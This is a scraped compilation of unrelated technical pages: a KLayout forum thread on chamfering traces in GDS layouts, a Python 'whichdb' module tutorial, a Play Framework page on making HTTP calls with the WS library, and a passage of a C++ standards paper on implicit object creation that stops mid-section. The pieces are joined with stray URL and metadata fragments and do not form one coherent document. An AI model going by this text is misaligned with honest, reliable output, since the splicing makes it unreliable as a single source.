Matthias
hello Matthias,
You should be kidding me..
Method one already works perfectly to me, I have no ruby background, so I missed many great information in the manual, even can not understand properly.You solution always hit the problem in 3 rows, it is magic.
I am not sure why I can not upload a gds file on.. so please see below image:
the solution also can make the tear for a trace connect to circle, it's already good enough to tape out mask if merged polygons, even better than what Cadence did, but I will keep trying to make it as " triangle " shape to reduce file size if convert to MEBES. Maybe will share another long code again, when it's done
Very good, thanks for the feedback
You can upload GDS if you zip it. This forum does now know about our favourite file formats ...
Matthias
Hello Matthias,
It's my bad, I should notice that, updated test gds ok, and trying to solve it with math.(sin , cos, tan) friends..
Hello Matthias,
Try & error, come out below code, it seems work,
Thanks for your perfect reply and this creative tool
Vincent
Of course this solution is valid too and I really want encourage users to try their own ways. So please go ahead and thanks for sharing the code!
There are a few things you're probably aware of:
Kind regards,
Matthias | https://www.klayout.de/forum/discussion/2115/chamfer-function-for-fun | CC-MAIN-2022-33 | refinedweb | 650 | 67.25 |
whichdb – Identify DBM-style database formats¶
The whichdb module contains one function, whichdb(). It can be used to examine an existing database file to determine which dbm library should be used to open it. It returns None if there is a problem opening the file, or the string name of the module to use to open the file. If it can open the file but cannot determine the library to use, it returns the empty string.
import anydbm import whichdb db = anydbm.open('/tmp/example.db', 'n') db['key'] = 'value' db.close() print whichdb.whichdb('/tmp/example.db')
Your results will vary, depending on what modules are available in your PYTHONPATH.
$ python whichdb_whichdb.py dbhash | https://pymotw.com/2/whichdb/index.html | CC-MAIN-2017-26 | refinedweb | 115 | 66.84 |
Calculate months elapsed between two dates in Python
Here is an algorithm to calculate the number of elapsed months separating two dates. It accounts for the day of month and the fact that months have different lengths. It does not matter whether days and months are zero indexed.
Algorithm
- Take the difference between the month numbers of date2 and date1;
- Add the difference between the years of date2 and date1, times 12;
- If the day of date2 is the last day of its month, then hold date2's day to be equal to 31;
- If the day of date1 is larger than that of date2, then substract 1;
Python implementation
date1 and
date2 are
datetime.date objects.
import calendar def calculate_monthdelta(date1, date2): def is_last_day_of_the_month(date): days_in_month = calendar.monthrange(date.year, date.month)[1] return date.day == days_in_month imaginary_day_2 = 31 if is_last_day_of_the_month(date2) else date2.day monthdelta = ( (date2.month - date1.month) + (date2.year - date1.year) * 12 + (-1 if date1.day > imaginary_day_2 else 0) ) return monthdelta | https://alexandre.deverteuil.net/post/calculate-months-between-two-dates-python/ | CC-MAIN-2020-10 | refinedweb | 165 | 64.91 |
Chart visualizations
Workbooks allow monitoring data to be presented as charts. Supported chart types include line, bar, bar categorical, area, scatter plots, pie, and time. Authors can choose to customize the height, width, color palette, legend, titles, no-data message, etc. of the chart and customize axis types and series colors using chart settings.
Workbooks support charts for both logs and metric data sources.
Log charts
Azure Monitor logs gives resources owners detailed information about the workings of their apps and infrastructure. Unlike metrics, log information is not collected by default and requires some kind of collection on-boarding. However, when present logs provide a lot of information about the state of the resource and data useful for diagnostics. Workbooks allow presenting log data as visual charts for user analysis.
Adding a log chart
The example below shows the trend of requests to an app over the previous days.
- Switch the workbook to edit mode by selecting the Edit toolbar item.
- Use the Add query link to add a log query control to the workbook.
- Select the query type as Log, resource type (for example, Application Insights) and the resources to target.
- Use the Query editor to enter the KQL for your analysis (for example, trend of requests).
- Set the visualization to one of: Area, Bar, Bar (categorical), Line, Pie, Scatter, or Time.
- Set other parameters if needed - like time range, visualization, size, color palette, and legend.
Log chart parameters
Time-series charts
Time series charts like area, bar, line, scatter, and time can be easily created using the query control in Workbooks. The key is having time and metric information in the result set.
Simple time-series
The query below returns a table with two columns: timestamp and Requests. The query control uses timestamp for the X-axis and Requests for the Y-axis.
requests | summarize Requests = count() by bin(timestamp, 1h)
Time-series with multiple metrics
The query below returns a table with three columns: timestamp, Requests, and Users. The query control uses timestamp for the X-axis and Requests & Users as separate series on the Y-axis.
requests | summarize Requests = count(), Users = dcount(user_Id) by bin(timestamp, 1h)
Segmented Time-series
The query below returns a table with three columns: timestamp, Requests, and RequestName where RequestName is a categorical column with the names of requests. The query control here uses timestamp for the X-axis and adds a series per value of RequestName.
requests | summarize Request = count() by bin(timestamp, 1h), RequestName = name
Summarize vs. make-series
The examples in the previous section use the
summarize operator because it is easier to understand. However, summarize does have a major limitation as it omits the results row if there are no items in the bucket. It can have the effect of shifting the chart time window depending on whether the empty buckets are in the front or backside of the time range.
It is usually better to use the
make-series operator to create time series data, which has the option to provide default values for empty buckets.
The following query uses the
make-series operator.
requests | make-series Requests = count() default = 0 on timestamp from ago(1d) to now() step 1h by RequestName = name
The query below shows a similar chart with the
summarize operator
requests | summarize Request = count() by bin(timestamp, 1h), RequestName = name
Even though the underlying result set is different. All a user has to do is set the visualization to area, line, bar, or time and Workbooks will take care of the rest.
Categorical bar chart or histogram
Categorical charts allow users to represent a dimension or column on the X-axis of a chart, this is especially useful in histograms. The example below shows the distribution of requests by their result code.
requests | summarize Requests = count() by Result = strcat('Http ', resultCode) | order by Requests desc
The query returns two columns: Requests metric and Result category. Each value of the Result column will get its own bar in the chart with height proportional to the Requests metric.
Pie charts
Pie charts allow the visualization of numerical proportion. The example below shows the proportion of requests by their result code.
requests | summarize Requests = count() by Result = strcat('Http ', resultCode) | order by Requests desc
The query returns two columns: Requests metric and Result category. Each value of the Result column will get its own slice in the pie with size proportional to the Requests metric.
Metric charts
Most Azure resources emit metric data about state and health (for example, CPU utilization, storage availability, count of database transactions, failing app requests, etc.). Workbooks allow the visualization of this data as time-series charts.)
Adding a metric chart
The following example will show the number of transactions in a storage account over the prior hour. This allows the storage owner to see the transaction trend and look for anomalies in behavior.
- Switch the workbook to edit mode by selecting the Edit toolbar item.
- Use the Add metric link to add a metric control to the workbook.
- Select a resource type (for example, Storage Account), the resources to target, the metric namespace and name, and the aggregation to use.
- Set other parameters if needed - like time range, split-by, visualization, size, and color palette.
Metric chart parameters
Examples
Transactions split by API name as a line chart:
Transactions split by response type as a large bar chart:
Average latency as a scatter chart:
Chart settings
Authors can use chart settings to customize which fields are used in the chart axes, the axis units, custom formatting, ranges, grouping behaviors, legends, and series colors.
The settings tab
The settings tab controls:
- The axis settings, including which fields, custom formatting that allows users to set the number formatting to the axis values and custom ranges.
- Grouping settings, including which field, the limits before an "Others" group is created.
- Legend settings, including showing metrics (series name, colors, and numbers) at the bottom, and/or a legend (series names and colors).
Custom formatting
Number formatting options include:
The series tab
The series setting tab lets you adjust the labels and colors shown for series in the chart.
- The
Series namefield is used to match a series in the data and if matched, the display label and color will be displayed.
- The
Commentfield is useful for template authors, as this comment may be used by translators to localize the display labels.
Next steps
- Learn how to create a tile in workbooks.
- Learn how to create interactive workbooks. | https://docs.microsoft.com/en-gb/azure/azure-monitor/visualize/workbooks-chart-visualizations | CC-MAIN-2021-43 | refinedweb | 1,083 | 52.7 |
Inspired by the recent conversation I had at the Udacity Intersect Conference with a Senior Manager working on the Alexa AI at Amazon, Dr. Ashwin Ram, I decided to document a proof-of-concept and what became a fantastic yet-to-be-monetized product. Furthermore, I want to share my experience in creating it and the ideas of needed improvements.
I, like many, am a dreamer and a creator. I like taking ideas and turning them into realities no matter how foreign or difficult the concepts that entail creating them. This idea starts with a simple picture. Specifically, this one:
When looking at this still, black-and-white image, I imagined what it would be like to have the water running and then immediately decided I needed to make it a reality. I thought that it would be great for both children and adults to animate art at a low cost point and with minimal energy requirements. Everyone really loves those Harry Potter newspapers! I knew, however, if I wanted to make it a reality I needed to prove that it would offer the highest aesthetic and monetary value.
I worked with the concept to show the difference between static and the dynamic piece of art:
So after sharing my thoughts and renderings with family and friends and getting there desire for the product the next step was how to make it? How could I create something that brings joy and happiness to the people who choose to put it in their homes?
Well using a typical screen to do it would not be energy efficient enough to make the idea viable. Mostly due to the fact that I wanted the art to be able to be hung on the wall without a power cord because at that point it is no longer an attractive product. So from there I realized that E Ink screens may be the way to go in order to achieve the low-power consumptions that I was shooting for. I spent a lot of time researching developer kits for E Ink experimentation and found the results to be all over the place in terms of price and complexity. I was looking for a screen large enough to make a decent looking prototype, something inexpensive and of course something with the highest resolution. After a few days of research, I found that Amazon uses a E Ink Carta HD display in its Kindle Paperwhite 3. To be specific, the screen is a 6-inch, 1440×1080, 300 ppi E Ink display with 16 levels of grey. As of right now E Ink displays are only able to produce 16 levels of grey (more specifically 4 bits per pixel) compared to the photo above which has 256 levels of grey (more specifically 8 bits per pixel). That became a new challenge for me. Will the 16 levels of grey be suitable enough to still be aesthetically pleasing? I dove in and did some research to test if I would be pleased with this. For those who may have a difficult time grasping what I mean with the difference between the resolution change. Here is a visualization I made in order to better illustrate it:
Now it may look like the 4 bit per pixel and the 8 bit per pixel are the same but they are not. You lose a lot of information moving from 8 bits to 4 bits. Just a quick close up comparison.
You can see near the bottom of the waterfall on the right side the effects of the loss in resolution.
After running this test, I decided that it would be okay to proceed with 16 levels of grey with applicable images and some pre-editing of the image as well as utilizing the overlay mask I will talk about shortly.
Before, I made the Kindle purchase, there was one more thing I had to figure out. Can I control the device and make it do the actions it wasn’t designed to do, but are necessary for this product? So after, a few internet searches I found out that the device is linux based. That was great to hear, for me at least, because I am comfortable in a unix based environment. The next question I had was, has the device been exploited, more specifically, was there a jailbreak available for it so I could work with a terminal. I found out that in fact there is a whole community behind it, with amazing resources and instructions! So that was it and with much excitement I bought it and eagerly awaited its arrival. It came a few days later, and for those who are still unsure of what a Kindle Paperwhite 3rd generation looks like, here you go.
So my first steps beyond the jailbreak involved adding a couple of components that I thought I would need. First off, I added a package manager that made adding new packages a lot easier. Next, I needed a terminal of sorts on the device in order to execute commands on the touch screen and allow for SSHing into the device. From there I found myself playing around with the Kindle and finding out to what extent the similarities were with the linux os, like ubuntu or fedora. Turns out a majority of the standard packages are missing and need to be installed also!
** Side Note: I am not going to link all of the packages used, but feel free to reach out if you need more information**
Onward to our first task, displaying a single photo on the Kindle. Now I knew that it would be possible because one of the packages I installed was a screensaver package and it allowed for you to upload your own images. It did this by running python scripts with the Kindle. Specifically, I found out that it actually uses a custom Amazon command to control the screen. This command is called the eips command and it is used to manipulate the Kindle’s frame buffer, or more technically the memory location used for screen display. With the eips command you can clear the screen, write an image of your own and execute a bunch of other neat tricks that can be found here.
So I was able to get an image to the correct dimensions (1072 x 1448) and to the right grayscale level in order to visualize my first overthrow of the Kindle! Below is the first photo I was able to upload. I would demonstrate on the Kindle but I did not take photos during the experimenting process and do not want to give away the final design yet!
My next thoughts were could I write a script that calls this command multiple times in order to make a GIF to look like a video on the Kindle? But before I get to that lets take a step back to see where I am with the other part of this vision, more specifically, how and why did I end up with the image you see above?
Well I wanted to try and capture that river scene that you saw in the beginning but knew I would need some video in order to achieve the moving water effect. So after ample searching I decided to experiment with some footage I found on the internet. Now this footage was for testing and in the future proper licensing for all media and images would have to be taken into account, but this is what I decided to work with:
I chose this for two main reasons, first it had the moving water I wanted and second it allowed for the static background I wanted. Again, my goal is only to have the water move and nothing else in the scene. I found this idea to be cool and another way to minimize energy usage by focusing on only changing the pixels that matter. In order to make the scene work I had to do a few things like resize the video so it can fit on the Kindle screen vertically, make it 4-bit grayscale, clean up some of the uncleanliness of the 8 to 4 bit transition and finally create the static mask that lies above the river portion. Yielding the result below:
Great! I have the video/moving picture I want to play it on the Kindle, but now how do I go about playing it in an efficient manor. After being upset with the results of my bash and python scripts on the Kindle as a means to play my moving picture, I found a large contributor in the field of Kindle programming world by the name of GeekMaster who in fact built a complex video player for the Kindle using a specialized technique called ordered dithering. The reason this is important and the reason my scripts failed is because the E Ink particles desire to remain in their somewhat fixed positions (like ghosting images on a monitor). And so, when the E Ink screen is refreshing images too fast, not all of the particles change, causing it to not look good. This is why dithering is important, as it provides a better video to work with this problem.
** Side Note: Feel free to skip over the code snippets, they are intimidating to say the least! **
//==================================================== // raw2gmv 1.0a - raw to geekmaster video transcoder // Copyright (C) 2012 by geekmaster, with MIT license: // //---------------------------------------------------- #include <stdio.h> // stdin,stdout typedef unsigned char u8; typedef unsigned int u32; int main(void) { u8 o,to,tb,wb0[800*600]; u32 x,y,xi,yi,c=250,b=120; while (fread(wb0,800*600,1,stdin)) for (y=0;y<800;y++) { xi=y; tb=0; for (x=0;x<600;x++) { yi=599-x; o=x^y; to=(y>>2&1|o>>1&2|y<<1&4|o<<2&8|y<<4&16|o<<5&32)- (wb0[yi*800+xi]*63+b)/c>>8; tb=(tb>>1)|(to&128); if (7==(x&7)) { fwrite(&tb,1,1,stdout); tb=0; } } } return 0; }
So I got the code that GeekMaster had shared, modified it to work with the new resolution for the Kindle Paperwhite 3. After compiling GeekMaster’s video player on the Kindle, I tried out the video and it worked! But wait, the video looked much worse than the 4-bit image I tested earlier as a static background. It was the result of the ordered dithering process to make the video run smooth on the Kindle. I was unsatisfied with the result and something needed to be done. I remembered that the whole idea was to create a mask of non moving pixels, so why not use a bit-mask to map the pixels to what I want written normally and the ones I want to be ordered dithered for movement. So with a few changes of the video transcoder, a bit-mask, and a source image, I was able to write the original pixel from the image source and the ordered dither pixels accordingly!
Here is the code used for this process:
//==================================================== // raw2gmv 2.0 - raw to custom gmv // Copyright (C) 2012 by geekmaster, with MIT license: // //----------------------------------------------------
#include <stdio.h> // stdin,stdout #include <fcntl.h> typedef unsigned char u8; typedef unsigned int u32;
// Mask vars unsigned char mask[1072*1448]; unsigned char fd;
// Png vars FILE *infile; unsigned char img[1072*1448]; unsigned char fd2;
void readMask(void){ fd = open("raw_bit.raw", O_RDONLY); read(fd, &mask, sizeof(mask)); close(fd);}
void readImg(void){ fd2 = open("raw_img.raw", O_RDONLY); read(fd2, &img, sizeof(img)); close(fd2);}
int main(void){ u8 o,to,tb,wb0[1448*1072]; u32 x,y,xi,yi,c=250,b=120; u32 pi = 0; u32 image_count = 0; readMask(); readImg(); while (fread(wb0,1448*1072,1,stdin)) for (y=0;y<1448;y++){xi=y; tb=0; for (x=0;x<1072;x++){ if ((int) mask[1072*y+x] == 0){ o=x^y; // Image line to=(y>>2&1|o>>1&2|y<<1&4|o<<2&8|y<<4&16|o<<5&32)- (img[1072*y+x]*63+b)/c>>8; tb=(tb>>1)|(to&128); if (7==(x&7)) { fwrite(&tb,1,1,stdout); tb=0;} } else{ yi=1071-x; o=x^y; to=(y>>2&1|o>>1&2|y<<1&4|o<<2&8|y<<4&16|o<<5&32)- (wb0[yi*1448+xi]*63+b)/c>>8; tb=(tb>>1)|(to&128); if (7==(x&7)) { fwrite(&tb,1,1,stdout); tb=0;} } } } return 0; }
Okay now that I have it working and it’s looking good, some small things had to be implemented for optimal daylight and energy saving viewing results.
Like:
#set frontlight OFF: echo 0 > /sys/devices/platform/imx-i2c.0/i2c-0/0-003c/max77696-bl.0/backlight/max77696-bl/brightness
As a means to turn off the Kindle’s backlight to get only the E Ink screen. Note: one could elect to use the backlights as a means of lighting the screen in darker areas. After that, I stripped apart the Kindle so I can continue to make a final design that is more conducive for a home decor. Once the Kindle is apart, I cut the frame to fit the Kindle like so:
Fun fact! If this would be used as video art, when the Kindle dies the E Ink screen leaves the last image in place regardless if there is power to the device or not! Great marketing tool!
So before we move on to the videos playing and the end of this long journey, here is a final photo of it all together.
Okay here are some pictures and videos of different scenes optimized in the same similar fashion as above. The frame can be controlled over the wifi and allows for switching of images and set run times.
Lets start with the main scene talked about in this article from afar and up close:
Here is an image of the stream scene followed by its accompanying video!
Here is an image of the waterfall scene followed by its accompanying video!
Here is an image of the rocky shore scene followed by its accompanying video!
Last but not least there is no need to have it play videos. One can use it as a picture frame and no power is needed to keep that image!
After sharing this prototype with family and friends it was great to see their reactions and desire to own it! It was great to see an appreciation for all of my hard work!
In closing I will talk about the other ideas I was working on with this project and ultimately why I decided that it was not pursuable.
Oh the ideas! Well lets start off with the practical ones and then the ambitious ones. First of all in order to have some longevity on the wall some battery statistics were gauged with the command:
gasgauge-info
I determined after a power drainage test that with intermittent animations and a larger lithium ion cell that the art work could remain powered for around 3–4 weeks before needing to be recharged (depending on the frequency of movement activations). As for charging the frame, I thought one could either take the frame down and charge it like a phone or develop a interchangeable lithium ion battery system. Where you charge the batteries in a rotating fashion else where in the house.
In order to keep frame usage down low enough to maintain proper battery life I began to actively look into a variety of motion sensors. The biggest concern for me was how well I could blend it into the frame without making it look weird.
There was some more research done into different size E Ink screens as well. Some are found up to sizes of 32 inches and would pair well with wall art. Further research would be needed to evaluate power consumption and screen refresh rate abilities. In fact I found out that the way that the Kindle drives their E Ink screen gives it an advantage not found on the market. The information surrounding this is proprietary and was one of my first realizations that building a larger prototype and manufacturing it would be troublesome. It was clear that the Kindle did a great job at what I wanted to accomplish and although I had brought my idea to life, in the end it was only that, an idea. I am not in a position to create my own manufacturable prototype to prove to myself that my idea will effectively scale. Nor do I have have the expertise to build a custom driver for the E Ink screen. For me it seems too unknown and too uncertain to descend down that path. Furthermore, it is a hard sell with a 4-bit grayscale screen due to the lack of resolution. Although, it is not horrible to look at. I like it and get good use out of it.
For more ambitious ideas, I wanted to create an app that allowed you to upload your own videos that would get post processed, uploaded and used on the frame. Also maybe a neural network that turns photos into videos on the frames as well.
A funny thing that happened during this project is that E Ink actually announced their first E Ink picture frame (I already had done this at that point in time and felt good things were moving in a promising direction).
Overall, my experience with taking an idea and making it a reality was so fun and rewarding. I was able to take an idea, create concept marketing material for it, share that with others to gauge their repsonse and bring the product to reality. In the end this vision of mine took two weeks time and less than 200 dollars to make. My only goal was to prove to myself it was something that could be made and efficiently scaled up. In my findings, I would not have been capable to scale the device up on my own. Another prototype with non proprietary technology, a larger screen and manufacturable materials would have to be made in order for me to want to find poeple willing to invest in the idea. Overall, I can say I happily failed, in the sense that I did not achieve my goal but in the process I learned a lot, made something awesome and used no money other than my own.
Thanks for reading, hope it was of some value to you! I would like to give thanks to Ashley Hale, Patrick Kern, and Uki Lucas for their invaluable feedback on this article. Feel free to drop a comment below if you have any questions. Have a nice day! | https://hackernoon.com/my-experience-in-creating-the-worlds-first-low-power-animated-picture-frame-ee24877a4b46 | CC-MAIN-2019-47 | refinedweb | 3,144 | 65.86 |
A few interesting Microsoft Knowledge Base hotfixes for BizTalk Server 2006 were recently added and worthy of sharing.
- FIX: The Log Shipping feature may not restore database backup files in BizTalk Server 2006. Really?!? Seems kinda important. I love hotfix titles that are all nonchalant, but upon consideration, are pretty freaky. The article says that the only way Log Shipping can restore the databases is if there is already a complete set of backups, and, none of the backups are corrupt. I can only assume (since it isn’t stated anywhere) that this hotfix allows Log Shipping to restore any available backups, even if some are missing or corrupt.
- FIX: A receive location that uses the file adapter does not retry when a network failure occurs in BizTalk Server 2006. Apparently even if a receive location is set up to retry on network failure, that behavior isn’t consistent and the receive location may become instantly disabled. Good times.
- FIX: The per-instance configuration setting does not affect message processing on a computer that is running BizTalk Server 2006. If you have a request-response receive location, the per-instance pipeline settings on the send (response) pipeline aren’t applied, even though you can see the settings.
- Four properties have been added to the ErrorReport namespace context of BizTalk Server 2006 R2. We’ll end on a positive note. If you’d like a few new “ErrorReport” subscription values (ErrorReport.FailureTime, ErrorReport.FailureAdapter, ErrorReport.FailureMessageID, ErrorReport.FailureInstanceID), and are running BizTalk Server 2006 R2, this is the update for you.
Advertisements | https://seroter.wordpress.com/2008/02/21/new-biztalk-server-2006-hotfixes/ | CC-MAIN-2017-39 | refinedweb | 261 | 53.41 |
Dark mode is a great way to enhance the user experience for a mobile app. Many commonly used and famous applications have support for dark mode now. iOS and Android added dark mode support to their platforms within the last year, which means that it's easier than ever to support this feature in your app.
In this tutorial, let's create a demo app that is going to change its appearance from light to dark theme based on the settings provided by the mobile OS as default. To create a small theme and detect system settings, you are also going to use two libraries called
styled-components and
react-native-appearance. The latter package allows access to operating system information and detecting color schemes.
Requirements
- Nodejs version <=
10.x.xinstalled
- watchman installed
- have access to one package manager such as
npmor
yarn
- use react native version
0.60.xor above
Getting started with the Crowdbotics App Builder
To generate a new React Native project, you can use the
react-native cli tool. Or, if you want to follow along, I'll show you how to generate a new app using the Crowdbotics App Builder.
Make sure you have login access to Crowdbotics' App Builder. You can register using either your GitHub credentials or your email. Once logged in, you can click
Create App to create a new app. The next screen is going to prompt you for what type of application you want to build. Choose the.
That's it. It's an easy, three-step easy process. Now, let us get back to our tutorial.
Configure react-native-appearance
To start, install the dependency itself. The package
react-native-appearance is actively maintained by Expo and is available to use both in Expo apps and vanilla React Native apps (apps generated using the
react-native cli tool).
Open a terminal window, make sure you are inside the project directory, and install the following dependency.
yarn add react-native-appearance
For iOS devices, to configure and use it correctly, enter the below commands to install pods.
cd ios/ pod install
For Android devices, there is no specific command to bind the native binaries. It is a two-step process. First, open
android/app/src/main/AndroidManifest.xml and add a
uiMode flag.
android:
Then, open another file);
That's it to configure the module
react-native-appearance.
Installing the styled-components library
To begin, let us set up a mock screen in
App.js to reflect the below result.
Open the
App.js file and add the following code.
import React from 'react' import { View, Text, StyleSheet } from 'react-native' export default class App extends React.Component { render() { return ( <View style={styles.container}> <Text>Crowdbotics app</Text> </View> ) } } const styles = StyleSheet.create({ container: { flex: 1, backgroundColor: '#fff', alignItems: 'center', justifyContent: 'center' } })
Now, go back to the terminal window and install the
styled-components library.
yarn add styled-components
If you are familiar with
styled-components, do note that it can be used with React Native in the same way as on the web. You just have to import the
styled utility to create components from
styled-components/native.
To see it in action, let us convert the
App component by replacing both the
View and
Text with
Container and
Title. These new elements are going to be custom using semantics from styled-components.
import React from 'react' import styled from 'styled-components/native' const Container = styled.View` flex: 1; background-color: #fff; align-items: center; justify-content: center; ` const Title = styled.Text` font-size: 24; ` export default class App extends React.Component { render() { return ( <Container> <Title>Crowdbotics app</Title> </Container> ) } }
In the above snippet, you can notice that
styled-components utilizes tagged template literals to style your components using backticks. When creating a component in React or React Native using
styled-components, each component is going to have styles attached to it. Note that the
Container is a React Native
View and has styling attached to it, and similarly for
Title as well as
Text.
One advantage
styled-components provides is that it uses the same Flexbox model as React Native Layouts. The advantage here is that you get to use the same understandable syntax that you have been using in web development and standard CSS.
Here is the output after adding
styled-components.
Defining themes
In this section, let us define two basic themes in two separate files. The app will toggle between these files using a theme manager provided by
styled-components.
Create a new directory
src/themes/ with two file names:
light.js and
dark.js.
Open
light.js to define a basic set of colors to be used when the light theme is active. The value of themes is going to be inside a JavaScript object. Add the following snippet to it.
const light = { theme: { background: '#ededed', border: '#bdbdbd', backgroundAlt: '#eaeaeb', borderAlt: '#bdbdbd', text: '#171717' } } export default light
Next, open
dark.js and similarly add theme values.
const dark = { theme: { background: '#2E3440', border: '#575c66', backgroundAlt: '#575c66', borderAlt: '#2E3440', text: '#ECEFF4' } } export default dark
Add a theme manager using context
The
styled-components library provides a way to handle different themes in a React Native app using a
ThemeManager. It listens to theme changes and, at the same time, allows the user to make a change to the appearance of the app, either manually by toggling, or by setting a default theme (which is handled by
react-native-appearance).
Create a new file called
index.js inside
src/themes/ and start by importing the following statements inside. We are going to use React Hooks to set and change the value of themes. This can be done by setting a default theme value.
Next, let us also change the
StatusBar color depending on the theme value.
import React, { createContext, useState, useEffect } from 'react' import { StatusBar } from 'react-native' import { ThemeProvider } from 'styled-components/native' import { Appearance, AppearanceProvider } from 'react-native-appearance' import lightTheme from './light' import darkTheme from './dark'
The last two import statements are the theme files. Define a
defaultMode variable whose value is either going to be based on the OS theme selection or the default theme value provided by you in the app. Using
Appearance.getColorScheme() from
react-native-appearance the mobile OS's theme value can be fetched.
const defaultMode = Appearance.getColorScheme() || 'light'
Create a
ThemeContext that is going to hold the value of the current theme (or mode) and a helper function to change that value.
The
useTheme is going to be a helper function that uses the
ThemeContext. Do not forget to export it, since you will be using it directly in the UI component later.
const ThemeContext = createContext({ mode: defaultMode, setMode: mode => console.log(mode) }) export const useTheme = () => React.useContext(ThemeContext)
Now, define a
ThemeManager Provider that is going to take care of setting the theme, changing the state or mode of the current theme. Using the
useEffect hook, it is going to listen to the theme changes made by the operating system.
This listening is managed by adding a subscription using
addChangeListener from
react-native-appearance.
Also, wrap children of the component inside the
ThemeProvider imported from
styled-components/native. The children here are going to be the
StatusBar component from
react-native as well as the other UI components passed as the
children prop. The content of the prop is going to be injected from the screen component.' ? 'dark-content' : 'light-content'} /> {children} </> </ThemeProvider> </ThemeContext.Provider> ) }
Lastly, the root of the app has to be wrapped inside the
AppearanceProvider to make the OS changes work and listen to mobile OS subscriptions. Do not forget to export the
ThemeManager.
const ThemeManager = ({ children }) => ( <AppearanceProvider> <ManageThemeProvider>{children}</ManageThemeProvider> </AppearanceProvider> ) export default ThemeManager
Using themes inside the app
To let the user change the theme of the app, you are going to import the
ThemeManager inside
App.js. Open the file, and add the following import statements.
import ThemeManager, { useTheme } from './src/themes' import { Switch } from 'react-native'
The
Switch is going to be the component button from the react-native core that allows the user to change the theme manually on a toggle.
To reflect the correct background color as well as the text color, let's use prop values from the theme files to the
Container and
Title components.
const Container = styled.View` flex: 1; /* add this */ background: ${props => props.theme.backgroundAlt}; align-items: center; justify-content: center; ` const Title = styled.Text` font-size: 24; /* add this */ color: ${props => props.theme.text}; `
Now create a
HomeScreen component that is going to have the
Switch component wrapped inside
Container. To toggle between the two themes, it is going to refer to the
useTheme helper method.
function HomeScreen() { const theme = useTheme() return ( <Container> <Title>Crowdbotics app</Title> <Switch value={theme.mode === 'dark'} onValueChange={value => theme.setMode(value ? 'dark' : 'light')} /> </Container> ) }
From the above code snippet, notice that the
Switch component requires two props:
value and
onValueChange. The
onValueChange callback updates the
value prop. If it doesn't update, the default value provided to the
value prop continues to render.
Lastly, wrap the
HomeScreen component inside
ThemeManager to make it work as below.
function App() { return ( <ThemeManager> <HomeScreen /> </ThemeManager> ) } export default App
Here is the output you are going to get, depending on default theme settings in your device or simulator OS.
Testing the manual toggle
I am going to test this app inside an iOS simulator. By default, the iOS simulator I am running has a dark mode.
Here is the first use case when the user manually switches between the two themes. Notice the changes in the background color of the Home screen and the text color of the title.
Testing the appearance based on OS theme
To find where you can switch between appearances on an iOS simulator, open
Settings, where you'll come across a
Developer menu as shown below.
Open that to find the
Appearance section. In the below image, you can see it is set to dark mode.
Here is the complete demo. When the OS appearance setting changes, it is directly reflected in our React Native app.
Conclusion
As you can see, adding dark mode support in React Native apps is straightforward when using the
react-native-appearance package. It works for all devices that support dark mode. | https://blog.crowdbotics.com/how-to-add-support-for-dark-and-light-themes-in-react-native-apps/ | CC-MAIN-2021-17 | refinedweb | 1,722 | 56.86 |
The Play WS API
Sometimes we would like to call other HTTP services from within a Play application. Play supports this via its
play.api.libs.ws.WS library, which provides a way to make asynchronous HTTP calls.
Any calls made by
play.api.libs.ws.WS should return a
Promise[play.api.libs.ws.Response] which we can later handle with Play’s asynchronous mechanisms.
Making an HTTP call
To send an HTTP request you start with
WS.url() to specify the URL. Then you get a builder that you can use to specify various HTTP options, such as setting headers. You end by calling a final method corresponding to the HTTP method you want to use. For example:
val homePage: Promise[ws.Response] = WS.url("").get()
Or:
val result: Promise[ws.Response] = { WS.url("").post("content") }
Retrieving the HTTP response result
The call is asynchronous and you need to manipulate it as a
Promise[ws.Response] to get the actual content. You can compose several promises and end with a
Promise[Result] that can be handled directly by the Play server:
def feedTitle(feedUrl: String) = Action { Async { WS.url(feedUrl).get().map { response => Ok("Feed title: " + (response.json \ "title").as[String]) } } }
Post url-form-encoded data
To post url-form-encoded data a
Map[String, Seq[String]] needs to be passed into post()
WS.url(url).post(Map("key" -> Seq("value")))
Next: OpenID Support in Play | http://www.playframework.com/documentation/2.0.4/ScalaWS | CC-MAIN-2013-48 | refinedweb | 238 | 60.72 |
This paper resolves CWG2325.
1. Change history
Since [P0593R0]:
Paper expanded from Ville’s original call for solutions to a description of a proposed solution, based on SG12 discussion.
Since [P0593R1]:
Incorporated further SG12 feedback:
An explicit syntactic marker is required to indicate that objects should be created. Existing obvious markers, such as the use of
, or simply performing member access on a union, suffice.
malloc
Expand set of implicit-lifetime types to require either a trivial default constructor or a trivial copy/move constructor, rather than requiring both.
Types with only a trivial default constructor may be suitable for member-by-member construction via class member access, even if the copy or move constructor is non-trivial.
Types with only a trivial copy/move constructor may be suitable for initialization by copying (for example) an on-disk representation into memory, even if the default constructor is non-trivial.
Define the C standard library
and
memcpy
functions as triggering implicit object creation.
memmove
Add description of suggested "typed" form of
.
std :: bless
Since [P0593R2]:
Removed union member access being sufficient to implicitly create objects based on objections from an implementer.
Since [P0593R3]:
Incorporated EWG feedback:
Aggregates are considered implicit-lifetime types
Provide a typed version of
std :: bless
Added wording.
Since P0594R4:
Incorporated LEWG feedback:
Removed untyped version of
, favoring use of
std :: bless ( p , n )
in its place.
new ( p ) std :: byte [ n ]
Renamed typed version of
to
std :: bless < T >
.
std :: start_lifetime_as < T >
Add
variant of typed version.
volatile
Added
as an operation that implicitly creates objects.
std :: bit_cast
Added section on trivial union copies and added wording to copy the subobject structure.
Separated standard library extensions from DR-level language rules fix.
2. Motivating examples
2.1. Idiomatic C code as C++
Consider the following natural C program:
struct X { int a , b ; }; X * make_x () { X * p = ( X * ) malloc ( sizeof ( struct X )); p -> a = 1 ; p -> b = 2 ; return p ; }
When compiled with a C++ compiler, this code has undefined behavior, because
attempts to write to an
subobject of an
object, and this
program never created either an
object nor an
subobject.
Per [intro.object]p1,
An object is created by a definition, by a new-expression, when implicitly changing the active member of a union, or when a temporary object is created.
... and this program did none of these things.
2.2. Objects provided as byte representation
Suppose a C++ program is given a sequence of bytes (perhaps from disk or from a
network), and it knows those bytes are a valid representation of type
. How
can it efficiently obtain a
that can be legitimately used to access the
object?
Example: (many details omitted for brevity)
void process ( Stream * stream ) { unique_ptr < char [] > buffer = stream -> read (); if ( buffer [ 0 ] == FOO ) process_foo ( reinterpret_cast < Foo *> ( buffer . get ())); // #1 else process_bar ( reinterpret_cast < Bar *> ( buffer . get ())); // #2 }
This code leads to undefined behavior today: within
, no
or
object is created, and so any attempt to access a
object through the
produced by the cast at #1 would result in undefined behavior.
2.3. Dynamic construction of arrays
